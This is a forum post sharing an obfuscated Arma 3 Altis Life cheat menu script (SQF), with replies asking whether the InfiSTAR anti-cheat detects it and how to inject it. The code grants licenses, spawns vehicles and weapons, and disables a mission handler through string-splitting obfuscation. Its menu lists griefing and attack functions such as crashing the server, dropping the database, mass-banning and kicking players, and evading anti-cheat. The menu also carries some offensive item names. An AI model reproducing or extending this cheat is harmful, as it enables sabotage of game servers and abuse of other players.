    				_index = _ctrl tvAdd[[],_text];
    				_ctrl tvSetData [[_index],_data];
    			};
    		} forEach O_fnc_invLicenses;
    		
    	}else{
    		
    	};
    };
    
                           
    //4decrypt
    O_fnc_altisLifeLicensesDbc= {
    	disableSerialization;
    	_ctrl = _this;
       
    	_curSelArr = tvCurSel _ctrl;
    	_truepath = [_curSelArr select 0];
    	_data = _ctrl tvData _truepath;
       
    	_lname = _data;
    
    	missionNamespace setVariable[_lname,true];
    };
    
    O_fnc_playerside = {
    		disableSerialization;
    		_object = _this;
    		_side = side _object;
    		_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_civil_ca.paa";
    		if(_side == east) then {
    				_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_opfor_ca.paa";
    		};
    		if(_side == west) then {
    				_flag = "\A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_bluefor_ca.paa";
    		};
    		if(_side == INDEPENDENT) then {
    				_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_indep_ca.paa";
    		};
    		_flag;
    };
    
    O_fnc_PlayerList = {
    	disableserialization;
    	
    	_ctrl = _this;
    	tvClear _ctrl;
    	_units = [];
    	
    	{
    			if(isPlayer _x) then {player reveal _x;_units set[count(_units),_x];};
    	} forEach allunits;
    	
    	{
    		if(alive _x && side _x == blufor) then {
    				_flag = _x call O_fnc_playerside;
    			   
    				_mainIndex = _ctrl tvAdd[[],name _x];
    				_ctrl tvSetPicture [[_mainIndex],_flag];
    			   
    				_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
    				_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
    				_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
    				_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
    			   
    				{
    						_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
    					   
    						_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
    				} forEach (weapons player);
    				_magInfo = [];
    				_magCount = [];
    				{
    						if !(_x in _magInfo) then {
    								_magInfo set[count(_magInfo),_x];
    								_magCount set[count(_magCount),1];
    						} else {
    								_cnt = _magCount select (_magInfo find _x);
    								_magCount set[count(_magCount),_cnt+1];
    						};
    				} forEach (magazines player);
    				{
    						_count = _magCount select _forEachIndex;
    						_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
    				} forEach _magInfo;
    		};
    	} forEach _units;
    	
    	{
    		if(alive _x && side _x == opfor) then {
    				_flag = _x call O_fnc_playerside;
    			   
    				_mainIndex = _ctrl tvAdd[[],name _x];
    				_ctrl tvSetPicture [[_mainIndex],_flag];
    			   
    				_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
    				_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
    				_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
    				_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
    			   
    				{
    						_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
    					   
    						_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
    				} forEach (weapons player);
    				_magInfo = [];
    				_magCount = [];
    				{
    						if !(_x in _magInfo) then {
    								_magInfo set[count(_magInfo),_x];
    								_magCount set[count(_magCount),1];
    						} else {
    								_cnt = _magCount select (_magInfo find _x);
    								_magCount set[count(_magCount),_cnt+1];
    						};
    				} forEach (magazines player);
    				{
    						_count = _magCount select _forEachIndex;
    						_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
    				} forEach _magInfo;
    		};
    	} forEach _units;
    	
    	{
    		if(alive _x && side _x == independent) then {
    				_flag = _x call O_fnc_playerside;
    			   
    				_mainIndex = _ctrl tvAdd[[],name _x];
    				_ctrl tvSetPicture [[_mainIndex],_flag];
    			   
    				_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
    				_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
    				_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
    				_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
    			   
    				{
    						_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
    					   
    						_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
    				} forEach (weapons player);
    				_magInfo = [];
    				_magCount = [];
    				{
    						if !(_x in _magInfo) then {
    								_magInfo set[count(_magInfo),_x];
    								_magCount set[count(_magCount),1];
    						} else {
    								_cnt = _magCount select (_magInfo find _x);
    								_magCount set[count(_magCount),_cnt+1];
    						};
    				} forEach (magazines player);
    				{
    						_count = _magCount select _forEachIndex;
    						_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
    				} forEach _magInfo;
    		};
    	} forEach _units;
    	
    	{
    		if(alive _x && side _x == civilian) then {
    				_flag = _x call O_fnc_playerside;
    			   
    				_mainIndex = _ctrl tvAdd[[],name _x];
    				_ctrl tvSetPicture [[_mainIndex],_flag];
    			   
    				_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
    				_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
    				_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
    				_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
    			   
    				{
    						_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
    					   
    						_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
    				} forEach (weapons player);
    				_magInfo = [];
    				_magCount = [];
    				{
    						if !(_x in _magInfo) then {
    								_magInfo set[count(_magInfo),_x];
    								_magCount set[count(_magCount),1];
    						} else {
    								_cnt = _magCount select (_magInfo find _x);
    								_magCount set[count(_magCount),_cnt+1];
    						};
    				} forEach (magazines player);
    				{
    						_count = _magCount select _forEachIndex;
    						_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
    						_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
    						_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
    				} forEach _magInfo;
    		};
    	} forEach _units;
    };
    
    O_fnc_VehicleDbc = {
    	disableSerialization;
    	_ctrl = _this;
       
    	_curSelArr = tvCurSel _ctrl;
    	_truepath = [_curSelArr select 0];
    	_data = _ctrl tvData _truepath;
       
    	_vname = _data;
    
    	_name = _vname;
    	_pos = position player;
    	_dir = getdir player;
    	_obj = _name createVehicle _pos;
    	_obj setDir _dir;
    	
    	if (!isNil "life_vehicles")then{
    		_nearVehicles = nearestObjects [getPos player,["Car","Truck","Air"],80];
    		
    		if(count _nearVehicles == 0) exitWith {};
    		{
    			_plate = round(random(1000000));
    			_x setDamage 0;
    			life_vehicles set[count life_vehicles,_x];
    			_x setVariable["dbInfo",["751267613374118",_plate]];
    		}forEach _nearVehicles;
    	};
    };
    
    O_fnc_Subs = {
    	disableserialization;
    	_combo = _this;
    	{
    		_text = _x select 0;
    		_combo lbAdd _text;
    	} forEach O_fnc_SubOrder;
    };
    
    O_fnc_Waffen = {
    	disableserialization;
    	_ctrl = _this;
    
    	O_fnc_Weapons = [];
    	_cfg = configFile >> "cfgWeapons";
    
    	for "_i" from 0 to count (_cfg)-1 do {
    		_config = _cfg select _i;
    		
    		if(isClass _config)then{
    			_cname = configName _config;
    			_scope = getNumber(_config >> "scope");
    			_pic = getText(_config >> "picture");
    			_name = getText(_config >> "displayName");
    			
    			if(_scope == 2 && _pic != "" && _name != "") then {
    				O_fnc_Weapons = O_fnc_Weapons + [[_name,_cname,_pic]]
    			};
    		};	
    	};
    	
    	{
    		_array = _x;
    	   
    		_text = _array select 0;
    		_data = _array select 1;
    		_image = _array select 2;
    	   
    		_index = _ctrl tvAdd[[],_text];
    		_ctrl tvSetPicture [[_index],_image];
    		_ctrl tvSetData [[_index],_data];
    	} forEach O_fnc_Weapons;
    };
    
    O_fnc_WaffenDbc = {
    	disableSerialization;
    	
    	_ctrl = _this;
       
    	_curSelArr = tvCurSel _ctrl;
    	_truepath = [_curSelArr select 0];
    	_data = _ctrl tvData _truepath;
    	_wep = _data;
    	_mags = getArray(configFile >> "cfgWeapons" >> _wep >> "Magazines");
    	
    	if (isNil "O_fnc_WaffenHolder")then{
    		O_fnc_WaffenHolder = "GroundWeaponHolder" createVehicle position player;
    	};
    	
    	O_fnc_WaffenHolder addWeaponCargoGlobal [_wep,1];
    	O_fnc_WaffenHolder addMagazineCargoGlobal [_mags select 0,5];
    	
    	O_fnc_WaffenHolder attachTo [player,[0, 0, 0], "Pelvis"];
    	sleep 2;
    	detach O_fnc_WaffenHolder;
    };
    
                           
    //5decrypt
    ['LOOPS'] call {
    	[] spawn{
    		while {true}do{
    			waitUntil {!isNull (findDisplay 7300)};
    			((findDisplay 7300) displayCtrl 7302) ctrlEnable true;
    			(findDisplay 7300) displayRemoveAllEventHandlers "KeyDown";
    			disableSerialization;
    			_1 = ((findDisplay 7300) displayCtrl 7303);
    			_1 ctrlSetText 'Reveal';
    			_1 buttonSetAction 'player setVariable ["Revive",TRUE,TRUE]; [["I think it was a GOD?"],"life_fnc_revived",player,FALSE] call life_fnc_MP; player reveal player;';
    			sleep 0.5;
    		};
    	};
    	
    	[] spawn{
    		disableSerialization;	
    		while {true}do{
    			call compile format ['
    				m'+'i'+'s'+'s'+'i'+'o'+'n'+'n'+'a'+'m'+'e'+'s'+'p'+'a'+'c'+'e set'+'var'+'ia'+'ble ["B"+"I"+"S"+"_"+"f"+"n"+"c"+"_"+"m"+"i"+"s"+"s"+"i"+"o"+"n"+"H"+"a"+"n"+"d"+"l"+"e"+"r"+"s"+"_"+"w"+"i"+"n",false];
    			'];
    			((findDisplay 49) displayCtrl 104) ctrlEnable true;
    			((findDisplay 49) displayCtrl 104) ctrlCommit 0;
    			
    			waitUntil{O_fnc_whiles && !isNull (findDisplay 49)};
    			_1 = uiNamespace getVariable "RscStructuredText_5";
    			_frames = round(diag_fpsmin) + 10;
    			_1 ctrlSetText format ["FPS: %1",_frames];
    		
    			_2 = uiNamespace getVariable "RscStructuredText_11";
    			_damage = getDammage player;
    			_2 ctrlSetText format ["Health: %1",(((1-_damage)*100)-((1-_damage)*100 mod 1))];
    			
    			_3 = uiNamespace getVariable "RscStructuredText_10";
    			_3 ctrlSetText format ["Players: %1",count(playableUnits)];
    			
    			sleep 0.5;
    		};
    	};
    };
    
    O_fnc_init2 = {
    	O_fnc_whiles = true;
    
    	O_fnc_subOrder = [
    		["MAIN",
    			[
    				["ESP",LIFE_fnc_DrawPlayers,"LIFE_fnc_DrawPlayers_Toggle",true],
    				["Map Markers",LIFE_fnc_MapMarkers,"LIFE_fnc_MapMarkers_TOGGLE",true],
    				["Disconnect",LIFE_fnc_disconnect,"",false],
    				["Bomb",LIFE_fnc_Bombing,"",false],
    				["Mord all * RISKY",LIFE_fnc_mording,"",false],
    				["FPS Booster",LIFE_fnc_fps,"",false],
    				["Destroy all",LIFE_fnc_destroyer,"",false],
    				["Servertime +12 * RISKY",LIFE_fnc_time12,"",false],
    				["Teleport all",LIFE_fnc_teporterall,"",false],
    				["Teleport via Map",LIFE_fnc_teporter,"LIFE_fnc_teporter_Toggle",true],
    				["Remove Gear",LIFE_fnc_gearRemover,"",false],
    				["Spawn Dummy",LIFE_fnc_dummy,"",false]
    			]
    		],
    		
    		["PLAYER",
    			[
    				["He(A)l",LIFE_fnc_heal,"",false],
    				["(G)od",LIFE_fnc_god,"LIFE_fnc_god_toogle",true],
    				["Car(G)od",LIFE_fnc_cargod,"LIFE_fnc_cargod_toogle",true],
    				["N(o)-(C)lip",LIFE_fnc_noclip,"LIFE_fnc_noclip_toogle",true],
    				["Fl(y) (M)ode",LIFE_fnc_flyMode,"LIFE_fnc_flyMode_toogle",true],
    				["Res(p)awn",LIFE_fnc_respawner,"",false],
    				["Unlimi(t)ed Ammo",LIFE_fnc_ulammo,"LIFE_fnc_ulammo_toogle",true],
    				["Change Te(a)m",LIFE_fnc_changeTeam,"",false],
    				["Chi(ck)en Mode",LIFE_fnc_chicken,"",false],
    				["Gh(o)st M(o)de",LIFE_fnc_ghost,"",false],
    				["In(v)isible * RISKY",LIFE_fnc_invese,"LIFE_fnc_invese_toogle",true],
    				["M(o)ney B(u)ilder",LIFE_fnc_moneyPrinter,"LIFE_fnc_moneyPrinter_toogle",true],
    				["M(o)re Spe(e)d",LIFE_fnc_Speed,"LIFE_fnc_Speed_toogle",true]
    			]
    		],
    		
    		["ALTIS LIFE",
    			[
    				["Unrestrain",LIFE_fnc_Unrestrain,"",false],
    				["Remove Wanted",LIFE_fnc_wanted,"",false],
    				["Get Keys of Cars (300m)",LIFE_fnc_carStealer,"",false],
    				["All Items",LIFE_fnc_allItems,"",false],
    				["All Licenses",LIFE_fnc_allLicense,"",false],
    				["Money",LIFE_fnc_bank,"",false],
    				["Get a Cop Uniform",LIFE_fnc_copUniform,"",false],
    				["Stop Escort",LIFE_fnc_escort,"",false],
    				["Reset Licenses",LIFE_fnc_resetlicense,"",false],
    				["Reset Bank",LIFE_fnc_resetmoney,"",false],
    				["Reset Items",LIFE_fnc_resetitems,"",false],
    				["Kick all Cops * RISKY",LIFE_fnc_copkick,"",false],
    				["Kick all Civs * RISKY",LIFE_fnc_civkick,"",false],
    				["Rob the Bank",LIFE_fnc_bankrobber,"",false],
    				["Revive Target",LIFE_fnc_ReviveTarget,"",false],
    				["Go to Rebel Outpost",LIFE_fnc_rebel,"",false],
    				["Free Houses",LIFE_fnc_getHouse,"LIFE_fnc_the_free_houses",true],
    				["Free Cars",LIFE_fnc_getCars,"LIFE_fnc_the_free_cars",true],
    				["No Tazzer",LIFE_fnc_noTazzer,"",false]
    			]
    		],
    		
    		["FUNNY",
    			[
    				["Summer World",LIFE_fnc_summerworld,"",false],
    				["Snow World",LIFE_fnc_snowWorld,"",false],
    				["Reset all",LIFE_fnc_resetAll,"",false],
    				["Remove All Weapons",LIFE_fnc_removeWeaponsAll,"",false],
    				["Kick all",LIFE_fnc_kickall,"",false],
    				["Dead All",LIFE_fnc_deadall,"",false],
    				["Bann all",LIFE_fnc_bannall,"",false],
    				["Parajump",LIFE_fnc_paraall,"",false],
    				["Send Servermessage",LIFE_fnc_message,"",false],
    				["Shoot Goats all",LIFE_fnc_shootgoats,"",false],
    				["Shoot Cars all",LIFE_fnc_shootcars,"",false],
    				["Battleye Kick all",LIFE_fnc_BeKick,"",false],
    				["Bluescreen all",LIFE_fnc_BlueScreen,"",false],
    				["Fuck up all Keys",LIFE_fnc_KeyRemover,"",false],
    				["CleanUp Server",LIFE_fnc_CleanUp,"",false],
    				["EMP all Vehicles",LIFE_fnc_empd,"",false],
    				["Cash 4 all",LIFE_fnc_Cash4All,"",false],
    				["Map Drawing",LIFE_fnc_draw,"LIFE_fnc_draw_toogle",true],
    				["Fuck up all Screens",LIFE_fnc_ScreenFuckass,"",false],
    				["Defense Squad (GOD)",LIFE_fnc_DefenseSquad,"",false],
    				["Defense Squad",LIFE_fnc_DefenseSquad_NG,"",false],
    				["Deforestation",fnc_deforestation,"fnc_deforestation_toggle",true],
    				["Deforestation Map",life_fnc_deforestation,"",false],
    				["Code Hat",LIFE_fnc_ConeHat,"",false],
    				["Bag Hat",LIFE_fnc_BagHat,"",false],
    				["Hack Box",LIFE_fnc_hackBox,"",false],
    				["Nuke",LIFE_fnc_NukeBall,"",false],
    				["Rainbow Smoke",LIFE_fnc_Nyan,"LIFE_fnc_NyanCat_Toggle",true],
    				["Big Bullets",LIFE_fnc_BBullets,"LIFE_fnc_BBullets_Toggle",true],
    				["Human Centipede",fnc_thecentipede,"fnc_thecentipede_toggle",true],
    				["InfiSTAR LetsLog",LIFE_fnc_AntiLog,"",false],
    				["Spawn Dickopter",LIFE_fnc_theDickopter,"",false],
    				["Spawn Swasticopter",LIFE_fnc_theSwasticopter,"",false],
    				["Spawn HeliBoat",LIFE_fnc_theHeliBoat,"",false],
    				["Spawn BoatCar",LIFE_fnc_theboatcar,"",false],
    				["Spawn HeliTank",LIFE_fnc_theHeliTank,"",false]
    			]
    		],
    		["AIMBOT",
    			[
    				["Rapid Fire",LIFE_fnc_rapidFire,"LIFE_fnc_rapidFire_Toggle",true],
    				["One hit",LIFE_fnc_OneHit,"LIFE_fnc_OneHit_Toogle",true],
    				["Mass",LIFE_fnc_mass,"LIFE_fnc_mass_Toogle",true],
    				["Ultra Mass kill",LIFE_fnc_massULTRA,"LIFE_fnc_ULTRAmass_Toogle",true],
    				["No Recoil",LIFE_fnc_recoil,"LIFE_fnc_recoil_Toogle",true]
    			]
    		],
    		["EFFECTS",
    			[
    				["LSD Effect",LIFE_fnc_LSDEffection,"",false]
    			]
    		],
    		["STEALTH GAMING",
    			[
    				["WILL BE ADDED",LIFE_fnc_LSDEffection,"",false]
    			]
    		],
    		["TARGET",
    			[
    				["Mine Target",LIFE_fnc_MineTarget,"",false],
    				["Godmode an Target",LIFE_fnc_GodAnTarget,"",false],
    				["Godmode aus Target",LIFE_fnc_GodAusTarget,"",false],
    				["Heal Target",LIFE_fnc_HealTarget,"",false],
    				["Spectate Target",LIFE_fnc_SpectateTarget,"",false],
    				["Freeze Target",LIFE_fnc_LockTarget,"",false],
    				["Unfreeze Target",LIFE_fnc_UnlockTarget,"",false],
    				["Bomb Target",LIFE_fnc_BombTarget,"",false],
    				["Reset Target",LIFE_fnc_ResetTarget,"",false],
    				["BE Kick Target",LIFE_fnc_BEKickTarget,"",false],
    				["Spyglass Kick Target",LIFE_fnc_SpyGlassKickTarget,"",false],
    				["Ban Target",LIFE_fnc_banTarget,"",false],
    				["Dead Target",LIFE_fnc_DeadTarget,"",false],
    				["Dog Bomb Target",LIFE_fnc_DogBombTarget,"",false],
    				["Fuck Up Target",LIFE_fnc_FuckTarget,"",false],
    				["Paradrop Target",LIFE_fnc_ParadropTarget,"",false],
    				["Teleport To Target",LIFE_fnc_TPTOTarget,"",false],
    				["Teleport Target Here",LIFE_fnc_TPTargetTO,"",false],
    				["Dog Target",LIFE_fnc_dogTarget,"",false],
    				["Chicken Target",LIFE_fnc_chickenTarget,"",false],
    				["Ghost Target",LIFE_fnc_ghostTarget,"",false],
    				["Goat Target",LIFE_fnc_goatTarget,"",false],
    				["Give Target Money",LIFE_fnc_moneyTarget,"",false],
    				["Give Target Licenses",LIFE_fnc_licenseTarget,"",false],
    				["Play Video Target",LIFE_fnc_videoTarget,"",false],
    				["Send a Message Target",LIFE_fnc_messageTarget,"",false],
    				["Fuck up Gamma Target",LIFE_fnc_Gamma,"",false],
    				["EMP Target",LIFE_fnc_EMPTarget,"",false]
    			]
    		],
    		["LoadOuts",
    			[
    				["Sniper",LIFE_fnc_LoadOut_Sniper,"",false],
    				["Police",LIFE_fnc_LoadOut_Police,"",false],
    				["Civilian",LIFE_fnc_LoadOut_Civilian,"",false],
    				["Hacker",LIFE_fnc_LoadOut_Hacker,"",false],
    				["Rebel",LIFE_fnc_LoadOut_Rebel,"",false],
    				["Assault Soldier",LIFE_fnc_LoadOut_AssaultGunner,"",false],
    				["Machine Gunner",LIFE_fnc_LoadOut_machineGunner,"",false],
    				["Alahu Akbar",LIFE_fnc_LoadOut_alahuakbar,"",false],
    				["C4",LIFE_fnc_LoadOut_explosive,"",false],
    				["Medical Assistance",LIFE_fnc_LoadOut_med,"",false]
    			]
    		],
    		["DATABASE",
    			[
    				["Meteor",LIFE_fnc_PermMeteor,"",false],
    				["Crash Server",LIFE_fnc_Desync,"",false],
    				["Ban all Clients",LIFE_fnc_PermBAN,"",false],
    				["Spam Database Fake Users",LIFE_fnc_FakeUsers,"",false],
    				["Drop Database",LIFE_fnc_DropDatabase,"",false],
    				["Test Remote Execution",LIFE_fnc_TestRe,"",false]
    			]
    		]
    	];
    
    };
    
                                     
                                     
    //6decrypt
    O_fnc_keyBind = {
    	switch (_this) do {
    		case 0x3D: //f3
    		{
    			if (!Q_fnc_QuickAccessOpened)then{
    				//[] call O_fnc_QuickAccess;
                    [] call O_fnc_init2;
    				[] call O_fnc_initMenu;
    			};
    		}
    	};
    };
    
    _undef = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call O_fnc_keyBind;false;"];
    Don't know who this belongs to but here ya go
    Last edited by |Infinity|; 11-24-2015 at 09:30 AM.

  2. The Following 3 Users Say Thank You to |Infinity| For This Useful Post:

    Billygoat13579 (06-16-2016),Mizzle420420 (11-24-2015),XSkilledEliteX (11-23-2015)

  3. #2
    Mizzle420420's Avatar
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    Nice Release, but I think its in the wrong Section, there is a Arma 3 Section around here somewhere.

  4. #3
    melrpm's Avatar
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    Is this infistar detected?

  5. #4
    incred's Avatar
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    Quote Originally Posted by melrpm View Post
    Is this infistar detected?
    Yes

    //TooShort

  6. #5
    Licker54's Avatar
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    What do we do to inject this?

  7. #6
    Betrayed_'s Avatar
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    So this is now detected?

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